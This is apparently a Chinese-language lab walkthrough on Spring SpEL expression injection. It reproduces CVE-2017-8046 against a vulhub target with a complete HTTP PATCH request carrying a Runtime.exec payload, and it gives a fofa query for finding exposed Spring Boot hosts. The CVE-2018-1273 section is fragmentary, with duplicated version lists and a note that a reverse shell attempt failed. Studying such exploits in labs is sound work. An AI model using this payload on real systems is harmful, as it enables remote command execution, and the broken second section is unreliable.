spring框架介绍
Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
2009年9月Spring 3.0 RC1发布后,Spring就引入了**SpEL (Spring Expression Language)
**。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。
因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977
等
SpEL是什么?
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。
SpEL工作原理如下:
- 表达式:可以认为就是传入的字符串内容;
- 解析器︰将字符串解析为表达式内容;
- 上下文:表达式对象执行的环境;
- 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象
Spring Data Rest 远程命令执行命令(CVE-2017-8046)
环境
kali vulhub靶场 /spring/CVE-2017-8046
fofa:icon_hash="116323821"/app="vmware-SpringBoot-framework"
漏洞简介
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring DataCommons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令
影响版本
Plain Text
A
U
Spring Data Commons 1.13-1.13.10(Ingalls SR10) Spring Data REST2.6-2.6.10(Ingalls SR10) Spring DataCommons2.0-2.0.5(Kay SR5) Spring Data REST3.0-3.0.5(Kay SR5)
官方已经不支持的旧版本
漏洞复现
1. 访问http://your-ip:8080/customers/1 ,然后抓取数据包,使用PATCH请求来修改
PATCH /customers/1 HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 193
[{"op":"replace","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"vulhub"}]
其中new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11
5}表示的命令touch /tmp/success 里面的数字是ascii码
spring 代码执行 (CVE-2018-1273)
漏洞简介
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data
Commons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及
以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命
令。
影响版本
18
漏洞利用
访问靶场地址:http://192.168.56.134:8080/users
填写注册信息,bp抓包:
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10(Ingalls SR10)
Spring Data Commons 2.0 – 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5(Kay SR5)
官方已经不支持的旧版本
漏洞利用
访问靶场地址:http://ip:8080/users
填写注册信息,bp抓包
反弹shell 没弹出来
当出来再议